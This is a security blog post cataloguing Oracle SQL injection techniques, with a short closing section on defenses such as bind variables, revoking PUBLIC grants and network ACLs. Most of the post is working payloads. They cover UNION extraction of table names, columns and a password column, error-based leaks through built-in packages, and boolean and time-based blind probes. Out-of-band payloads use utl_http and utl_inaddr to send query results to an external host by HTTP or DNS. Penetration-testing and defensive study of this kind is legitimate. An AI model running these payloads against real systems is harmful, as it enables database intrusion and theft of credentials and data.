Oracle SQL Injection Techniques: A Summary
I’ve been running into Oracle injection tests more often lately, and solid writeups on the topic are surprisingly scarce online (MySQL material, by contrast, is everywhere). To speed up future testing and vulnerability hunting, I decided to revisit what I’d learned and put it all in one place. This post draws on Oracle’s official docs, fellow researchers’ blogs, and a few classic papers — feedback and discussion very welcome. Throughout, the user value is SQLINJECTION.
Note: This article was first written in August 2017. I’ve updated the version- and privilege-related details that have since gone stale and flagged the changes with side notes.
Oracle Injection Quirks
Before touching a payload, it’s worth nailing down the Oracle-vs-MySQL differences that trip people up. Everything below builds on these:
- Every query needs a table: Oracle’s
SELECTrequires aFROMclause. When there’s no real table, usedual— Oracle’s dummy table that always holds exactly one row. (MySQL lets youSELECT 1with noFROM; MySQL muscle memory will get you an ORA-00923 here fast.) - Strict type matching: Oracle enforces types strictly (MySQL is more lenient). In a
UNION, each column’s type must match the target table’s column — usenullas a placeholder where you can’t guess the type quickly. - Comments: Single-line
--, multi-line/**/— same as MySQL. - Data dictionary layout: Oracle has no
information_schema. Metadata lives in views likeuser_tables,user_tab_columns,all_tables,dba_tables, and what you can see depends on your privileges.
UNION Injection
UNION injection is the most direct exfiltration path, as long as the page reflects query results. The steps mirror MySQL; only the table-name source and type matching differ.
Count the columns:
' order by 3 --
Find the reflection point (using null to sidestep type issues):
' union select null,null,null from dual --
Get the database version (Oracle’s sys.v_$version banner column is the analogue of MySQL’s version()):
' union select null,(select banner from sys.v_$version where rownum=1),null from dual --
Get table names (using rownum=1 to grab the first row, then <> to exclude one at a time — the standard workaround for Oracle having no LIMIT):
' union select null,(select table_name from user_tables where rownum=1),null from dual --
' union select null,(select table_name from user_tables where rownum=1 and table_name<>'T_USER'),null from dual --
Get column names from a target table (user_tab_columns is Oracle’s column-info view):
' union select null,(select column_name from user_tab_columns where table_name='T_USER' and rownum=1),null from dual --
' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and rownum=1),null from dual --
' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and column_name<>'SPWD' and rownum=1),null from dual --
Finally, pull the actual data:
' union select SNAME,SUSER,SPWD from T_USER --
Error-Based Injection
If the page echoes database errors, error-based injection is the first thing to reach for — it smuggles the query result out inside an error message. Unlike MySQL, where a single error function usually suffices, Oracle typically needs the error expression embedded in a comparison like 1=[error_expr] or 1>[error_expr] to trigger. Below are the functions I reach for most.
0x01 utl_inaddr.get_host_name()
' and 1=utl_inaddr.get_host_name((select user from dual))--
0x02 ctxsys.drithsx.sn()
' and 1=ctxsys.drithsx.sn(1,(select user from dual))--

0x03 XMLType()
' and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null--

0x04 dbms_xdb_version.checkin()
' and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null--

0x05 dbms_xdb_version.makeversioned()
' and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null--

0x06 dbms_xdb_version.uncheckout()
' and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null--

0x07 dbms_utility.sqlid_to_sqlhash()
' and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null--

0x08 ordsys.ord_dicom.getmappingxpath()
' and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--
' and 1=ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user)--

0x09 decode error: This one leans closer to boolean blind injection — it doesn’t reflect the query result, it just trips a divide-by-zero via 1/0 so you can infer whether the condition held from whether the page errors.
' and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual) --

Out-of-Band Data Retrieval
Out-of-band (OOB) retrieval borrows the idea from SQL Injection Attacks and Defense: make Oracle issue an HTTP or DNS request with the query result embedded in it, then read it off the external server’s logs. This turns tedious blind injection into direct data exfiltration. The same channel doubles as an internal-network probe (perhaps this is Oracle’s take on SSRF?).
0x01 utl_http.request() sends an HTTP request to an external host with the result in the URL. Stand up a web server to log the requests:
' and 1=utl_http.request('http://10.10.10.1:80/'||(select banner from sys.v_$version where rownum=1)) --
A real-world test captured the OOB request in VMware — the Oracle 11g client issues a GET to the target IP with the
sys.v_$version.bannercontent embedded in the URL. That’s the canonical OOB exfiltration evidence.

0x02 utl_inaddr.get_host_address() embeds the result in a subdomain and reads it back from DNS logs (ricterz’s writeup is a good reference for the lab setup):
' and (select utl_inaddr.get_host_address((select user from dual)||'.t4inking.win') from dual) is not null--

In the 2017 original I asked whether this counted as Oracle’s SSRF — it does.
utl_httpexfiltrates data and can also probe arbitrary internal ports for liveness, making it a high-risk pivot into the internal network. That’s exactly why 11g R2 locked it behind an ACL.
Boolean Blind Injection
When the page neither reflects results nor errors, and you can only infer success from whether the page renders normally, boolean blind injection is the way. The generic approach is ASCII() + substr(). Below are the two payloads I’ve found most reliable across engagements — pair them with a script and you can extract data in bulk.
0x01 decode boolean blind: substr(user,1,1) is the condition, 'S' is the character to test. If it matches, return 1; otherwise return the default 0.
' and 1=(select decode(substr(user,1,1),'S',(1),0) from dual) --
decode is essentially:
decode(condition, val1, result1, val2, result2, ..., valn, resultn, default)
if condition == val1 then return result1
elsif condition == val2 then return result2
...
else return default
The default can be a column name or any value you choose.
0x02 instr boolean blind: instr returns the position of a substring (0 if not found). By iterating over candidate substrings you can reconstruct the data character by character — similar in spirit to MySQL regexp injection.
' and 1=(instr((select user from dual),'SQL')) --
For example, select instr('abcdefgh','de') from dual returns 4 (positions are 1-indexed).

Time-Based Blind Injection
When even a boolean oracle isn’t available and only response time betrays execution, you’re in time-based blind territory. Oracle time-based injection usually leans on DBMS_PIPE.RECEIVE_MESSAGE() (a trick I picked up reading SQLMap’s source), or on pairing decode() with a deliberately expensive SQL operation. “Expensive” means something like select count(*) from all_objects — scanning a large volume of data introduces a measurable delay. The technique transfers to other databases too.
0x01 DBMS_PIPE.RECEIVE_MESSAGE()
' and 1=(DBMS_PIPE.RECEIVE_MESSAGE('a',10)) and '1'='1
A real-world payload (combined with CASE WHEN + ASCII + SUBSTRC for per-character testing):
' AND 7238=(CASE WHEN (ASCII(SUBSTRC((SELECT NVL(CAST(USER AS VARCHAR(4000)),CHR(32)) FROM DUAL),3,1))>96) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(71)||CHR(106)||CHR(72)||CHR(73),1) ELSE 7238 END) AND '1'='1
The official signature:
DBMS_PIPE.RECEIVE_MESSAGE(pipename IN VARCHAR2, timeout IN INTEGER DEFAULT maxwait) RETURN INTEGER
For practical purposes, read it as DBMS_PIPE.RECEIVE_MESSAGE('any_string', delay_in_seconds).
0x02 decode time-based: select count(*) from all_objects burns time scanning every object in the database, so it works as the timing signal (analogous to the OWASP testing guide’s slot-machine example).
' and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) and '1'='1
You can also nest decode inside DBMS_PIPE.RECEIVE_MESSAGE:
' and 1=(select decode(substr(user,1,1),'A',DBMS_PIPE.RECEIVE_MESSAGE('RDS',5),0) from dual) and '1'='1
Defense
Looking back, Oracle injection has plenty of “shapes,” but they all share one root cause — SQL built by string concatenation. The defense follows directly:
- Bind variables / parameterized queries: The fundamental fix in any Oracle app, and it doubles as a performance win by cutting hard parses. JDBC:
PreparedStatement. .NET:OracleParameter. MyBatis:#{}— never${}for concatenation. - Revoke
PUBLICprivileges:UTL_HTTP,UTL_INADDR,DBMS_XDB_VERSION,DBMS_LOCK,UTL_FILEare granted toPUBLICby default and are the main OOB and privilege-escalation channels. On production, explicitlyREVOKE EXECUTE ON ... FROM PUBLICand grant only to accounts that truly need it. - Configure network ACLs: Since 11g R2,
UTL_HTTP,UTL_INADDR,UTL_SMTP,UTL_TCPare all ACL-gated. UseDBMS_NETWORK_ACL_ADMINto whitelist the hosts and ports they may reach, closing the OOB channel. - Least-privilege accounts: The app’s DB account should never be
SYSorSYSTEM. Use a low-privilege account with onlySELECT/INSERT/UPDATEon business tables — thenALL_*andDBA_*views simply won’t expose sensitive metadata. - WAF and database auditing: Add a layer that flags Oracle injection signatures (
dual,utl_,dbms_,v_$version) and enable database auditing so you have a trail.
Final Thoughts
Oracle injection doesn’t come up every day, but when it does — especially in finance and government, where Oracle still dominates — lacking the technique repertoire will stall you. This summary collects the approaches fellow researchers have published plus the payloads I’ve validated in my own testing, both for my own reference and in the hope that it helps anyone stuck on Oracle injection find their footing.
The core point stands: injection’s root is concatenation, and defense’s root is bind variables. Every attack-side function and trick dissolves against parameterized queries; the high-risk OOB and error packages lose their teeth once you revoke PUBLIC and put an ACL in front. Know your adversary, think through both sides of the attack-defense line, and the defense holds firm.